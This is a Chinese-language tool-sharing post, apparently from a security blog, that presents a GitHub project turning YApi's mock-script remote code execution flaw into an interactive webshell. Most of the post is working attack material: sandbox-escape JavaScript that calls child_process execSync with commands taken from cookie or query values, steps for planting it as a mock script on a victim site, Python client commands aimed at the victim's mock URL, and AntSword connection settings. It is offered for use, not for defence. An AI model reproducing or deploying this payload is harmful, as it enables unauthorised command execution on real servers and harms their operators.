另一种 Webshell 方式的 Yapi 命令执行的方法 更加微操和可控、影响更小
作者:Sec-Labs | 发布时间:
项目地址
https://github.com/Esonhugh/yapi-rce-webshell
Yapi-rce-webshell
Yapi mock script RCE 另一个版本。 webshell方式。
有趣的事情
用法:
- 受害者结构网站
- 注册账户
- 创建项目并在其中创建 api
- 创建模拟脚本
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("cd "+cookie.dir+";"+cookie.cmd).toString()
// you can also add exec function to do some async jobs like running enum scripts
- 使用python脚本连接webshell并交互
python3 webshell.py {mock address like: http://whereisthevictim/mock/222/test/test } -i # interactive mode
# or
python3 webshell.py {mock address like: http://whereisthevictim/mock/222/test/test} {cmd dir,you can use "."} {command location}
AntSword 替代品
- 与用法相同
- 但是使用高级模拟 POST 方法创建 API。
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync(query.data).toString()
// you can also add exec function to do some async jobs like running enum scripts
- 打开蚂蚁剑
- 使用 Config 创建
- 类型:CMDLINUX
- 传递:数据
- URL: Yapi 配置中的 mock url
- 编码器/解码器:默认
- 享受你的 webshell
标签:工具分享, webshell绕过, Yapi